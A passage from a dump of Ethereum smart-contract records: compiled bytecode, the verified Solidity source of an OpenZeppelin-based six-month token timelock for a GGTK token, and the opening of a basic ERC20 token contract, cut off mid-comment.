62461bcd60e51b81526004016105d690611fce565b60fb805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610f9c610c57565b604051610fa99190611e7f565b60405180910390a1565b6001600160a01b038216610fd95760405162461bcd60e51b81526004016105d69061250a565b610fe560008383611710565b609954610ff29082610f22565b6099556001600160a01b0382166000908152609760205260409020546110189082610f22565b6001600160a01b0383166000818152609760205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611067908590611e9e565b60405180910390a35050565b6001600160a01b0382166110995760405162461bcd60e51b81526004016105d6906122e6565b6110a582600083611710565b6110e2816040518060600160405280602281526020016125af602291396001600160a01b0385166000908152609760205260409020549190610e24565b6001600160a01b0383166000908152609760205260409020556099546111089082611745565b6099556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611067908590611e9e565b610191546000908190611164906001600160a01b0316611787565b90506000611205611173611792565b6111ff846001600160a01b031663872697296040518163ffffffff1660e01b815260040160206040518083038186803b1580156111af57600080fd5b505afa1580156111c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e79190611e67565b6111f9886111f36104f7565b90610f22565b9061179e565b906117d8565b905060006112128261181a565b90506000836001600160a01b03166371a973056040518163ffffffff1660e01b815260040160206040518083038186803b15801561124f57600080fd5b505afa158015611263573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112879190611e67565b905081811061129d576001945050505050610597565b620f42406112ab8383611745565b1115945050505050610597565b600054610100900460ff16806112d157506112d161152e565b806112df575060005460ff16155b6112fb5760405162461bcd60e51b81526004016105d690612298565b600054610100900460ff16158015611326576000805460ff1961ff0019909116610100171660011790555b61132e611534565b611336611534565b61134083836115b6565b611348611534565b61135061166f565b611358611534565b6113628383611839565b8015611374576000805461ff00191690555b505050565b60006001600160a01b03821663b93f9b0a600b5b6040518263ffffffff1660e01b81526004016113a99190611e9e565b60206040518083038186803b1580156113c157600080fd5b505afa1580156113d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f19190611c58565b610191546000908190611414906001600160a01b0316611787565b90506000611205611423611792565b6111ff846001600160a01b031663872697296040518163ffffffff1660e01b815260040160206040518083038186803b15801561145f57600080fd5b505afa158015611473573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114979190611e67565b6111f9886114a36104f7565b90611745565b60fb5460ff16156114cc5760405162461bcd60e51b81526004016105d69061217f565b60fb805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610f9c610c57565b60006108b883836118ed565b60006108b8836001600160a01b038416611932565b60006104f18261194a565b303b1590565b600054610100900460ff168061154d575061154d61152e565b8061155b575060005460ff16155b6115775760405162461bcd60e51b81526004016105d690612298565b600054610100900460ff161580156115a2576000805460ff1961ff0019909116610100171660011790555b8015610717576000805461ff001916905550565b600054610100900460ff16806115cf57506115cf61152e565b806115dd575060005460ff16155b6115f95760405162461bcd60e51b81526004016105d690612298565b600054610100900460ff16158015611624576000805460ff1961ff0019909116610100171660011790555b825161163790609a906020860190611ae4565b50815161164b90609b906020850190611ae4565b50609c805460ff191660121790558015611374576000805461ff0019169055505050565b600054610100900460ff1680611688575061168861152e565b80611696575060005460ff16155b6116b25760405162461bcd60e51b81526004016105d690612298565b600054610100900460ff161580156116dd576000805460ff1961ff0019909116610100171660011790555b60fb805460ff191690558015610717576000805461ff001916905550565b60009182526065602052604090912060020155565b61137483838361194e565b60006108b8836001600160a01b03841661197e565b60006108b8836001600160a01b0384166119c8565b60006108b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e24565b60006104f182611a8e565b670de0b6b3a764000090565b6000826117ad575060006104f1565b828202828482816117ba57fe5b04146108b85760405162461bcd60e51b81526004016105d6906121a9565b60006108b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aa6565b60006104f161183261182a611add565b6111ff611792565b83906117d8565b600054610100900460ff1680611852575061185261152e565b80611860575060005460ff16155b61187c5760405162461bcd60e51b81526004016105d690612298565b600054610100900460ff161580156118a7576000805460ff1961ff0019909116610100171660011790555b6118b960006118b4610c57565b6105df565b6118d360008051602061265f8339815191526118b4610c57565b61136260008051602061263f8339815191526118b4610c57565b815460009082106119105760405162461bcd60e51b81526004016105d690611efa565b82600001828154811061191f57fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b5490565b611959838383611374565b6119616107c2565b156113745760405162461bcd60e51b81526004016105d690612541565b600061198a8383611932565b6119c0575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556104f1565b5060006104f1565b60008181526001830160205260408120548015611a8457835460001980830191908101906000908790839081106119fb57fe5b9060005260206000200154905080876000018481548110611a1857fe5b600091825260208083209091019290925582815260018981019092526040902090840190558654879080611a4857fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506104f1565b60009150506104f1565b60006001600160a01b03821663b93f9b0a600e61138d565b60008183611ac75760405162461bcd60e51b81526004016105d69190611ea7565b506000838581611ad357fe5b0495945050505050565b620f424090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611b2557805160ff1916838001178555611b52565b82800160010185558215611b52579182015b82811115611b52578251825591602001919060010190611b37565b50611b5e929150611b62565b5090565b5b80821115611b5e5760008155600101611b63565b60008083601f840112611b88578182fd5b50813567ffffffffffffffff811115611b9f578182fd5b602083019150836020828501011115611bb757600080fd5b9250929050565b600082601f830112611bce578081fd5b813567ffffffffffffffff80821115611be5578283fd5b604051601f8301601f191681016020018281118282101715611c05578485fd5b604052828152925082848301602001861015611c2057600080fd5b8260208601602083013760006020848301015250505092915050565b600060208284031215611c4d578081fd5b81356108b881612599565b600060208284031215611c69578081fd5b81516108b881612599565b60008060408385031215611c86578081fd5b8235611c9181612599565b91506020830135611ca181612599565b809150509250929050565b600080600060608486031215611cc0578081fd5b8335611ccb81612599565b92506020840135611cdb81612599565b929592945050506040919091013590565b60008060008060008060808789031215611d04578182fd5b8635611d0f81612599565b9550602087013567ffffffffffffffff80821115611d2b578384fd5b611d378a838b01611b77565b90975095506040890135915080821115611d4f578384fd5b50611d5c89828a01611b77565b9094509250506060870135611d7081612599565b809150509295509295509295565b60008060408385031215611d90578182fd5b8235611d9b81612599565b946020939093013593505050565b600060208284031215611dba578081fd5b5035919050565b60008060408385031215611dd3578182fd5b823591506020830135611ca181612599565b60008060408385031215611df7578182fd5b50508035926020909101359150565b60008060408385031215611e18578182fd5b823567ffffffffffffffff80821115611e2f578384fd5b611e3b86838701611bbe565b93506020850135915080821115611e50578283fd5b50611e5d85828601611bbe565b9150509250929050565b600060208284031215611e78578081fd5b5051919050565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b81811015611ed357858101830151858201604001528201611eb7565b81811115611ee45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526022908201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604082015261647360f01b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602f908201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60408201526e0818591b5a5b881d1bc819dc985b9d608a1b606082015260800190565b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b60208082526039908201527f45524332305072657365744d696e7465725061757365723a206d75737420686160408201527f76652070617573657220726f6c6520746f20756e706175736500000000000000606082015260800190565b6020808252603f908201527f45524332305072657365744d696e7465725061757365723a204d75737420686160408201527f7665206d696e74657220726f6c6520746f206368616e676520636f6e66696700606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526030908201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60408201526f2061646d696e20746f207265766f6b6560801b606082015260800190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60208082526038908201527f43616e6e6f74206275726e3a20697420776f756c642063726561746520616e206040820152770c2e6e6cae85ed8d2c2c4d2d8d2e8f240dad2e6dac2e8c6d60431b606082015260800190565b60208082526036908201527f45524332305072657365744d696e7465725061757365723a206d7573742068616040820152751d99481b5a5b9d195c881c9bdb19481d1bc81b5a5b9d60521b606082015260800190565b6020808252602e908201527f436f6e747261637420696e7374616e63652068617320616c726561647920626560408201526d195b881a5b9a5d1a585b1a5e995960921b606082015260800190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526036908201527f45524332305072657365744d696e7465725061757365723a204d7573742068616040820152753b329036b4b73a32b9103937b632903a3790313ab93760511b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526037908201527f45524332305072657365744d696e7465725061757365723a206d75737420686160408201527f76652070617573657220726f6c6520746f207061757365000000000000000000606082015260800190565b60208082526038908201527f43616e6e6f74206d696e743a20697420776f756c642063726561746520616e206040820152770c2e6e6cae85ed8d2c2c4d2d8d2e8f240dad2e6dac2e8c6d60431b606082015260800190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201526e103937b632b9903337b91039b2b63360891b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b6020808252602a908201527f45524332305061757361626c653a20746f6b656e207472616e736665722077686040820152691a5b19481c185d5cd95960b21b606082015260800190565b60ff91909116815260200190565b6001600160a01b038116811461071757600080fdfe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365b19546dff01e856fb3f010c267a7b1c60363cf8a4664e21cc89c26224620214e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636565d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a645524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204fa7849e2d941034abba627a19eccb75ac4ff4af548fa531d5a57357d09139d764736f6c634300060c0033
[ 38 ]
0xf229791d815491777810ef1bee3ebd97a22eb28f
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/token/ERC20/TokenTimelock.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ contract TokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 private _token; // beneficiary of tokens after they are released address private _beneficiary; // timestamp when token release is enabled uint256 private _releaseTime; constructor (IERC20 token_, address beneficiary_, uint256 releaseTime_) public { // solhint-disable-next-line not-rely-on-time require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time"); _token = token_; _beneficiary = beneficiary_; _releaseTime = releaseTime_; } /** * @return the token being held. */ function token() public view returns (IERC20) { return _token; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the time when the tokens are released. */ function releaseTime() public view returns (uint256) { return _releaseTime; } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public virtual { // solhint-disable-next-line not-rely-on-time require(block.timestamp >= _releaseTime, "TokenTimelock: current time is before release time"); uint256 amount = _token.balanceOf(address(this)); require(amount > 0, "TokenTimelock: no tokens to release"); _token.safeTransfer(_beneficiary, amount); } } // File: contracts/GGTK6MonthTimelock.sol pragma solidity ^0.6.0; contract GGTK6MonthTimelock is TokenTimelock { constructor () public TokenTimelock( IERC20(0xFA99A87b14B02e2240C79240C5a20F945ca5EF76), // token 0x005a7EFb61A78D4171Bf359048681EDA72734C89, // beneficiary 1735257600) { } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806338af3eed1461005157806386d1a69f1461009b578063b91d4001146100a5578063fc0c546a146100c3575b600080fd5b61005961010d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100a3610137565b005b6100ad610339565b6040518082815260200191505060405180910390f35b6100cb610343565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600254421015610192576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107b46032913960400191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561023257600080fd5b505afa158015610246573d6000803e3d6000fd5b505050506040513d602081101561025c57600080fd5b81019080805190602001909291905050509050600081116102c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806108366023913960400191505060405180910390fd5b610336600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661036c9092919063ffffffff16565b50565b6000600254905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61041f8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610424565b505050565b6060610486826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166105139092919063ffffffff16565b905060008151111561050e578080602001905160208110156104a757600080fd5b810190808051906020019092919050505061050d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061080c602a913960400191505060405180910390fd5b5b505050565b6060610522848460008561052b565b90509392505050565b606082471015610586576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806107e66026913960400191505060405180910390fd5b61058f856106d4565b610601576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310610651578051825260208201915060208101905060208303925061062e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146106b3576040519150601f19603f3d011682016040523d82523d6000602084013e6106b8565b606091505b50915091506106c88282866106e7565b92505050949350505050565b600080823b905060008111915050919050565b606083156106f7578290506107ac565b60008351111561070a5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610771578082015181840152602081019050610756565b50505050905090810190601f16801561079e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206265666f72652072656c656173652074696d65416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c65617365a26469706673582212209f59ab16b892a6bcc497cd460ef6812814e0ffb567a01aea9e2028e81393c3c664736f6c63430006020033
[ 38 ]
0xf229815bc503abc2238f6cdf5505d326c223e14c
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner=msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see 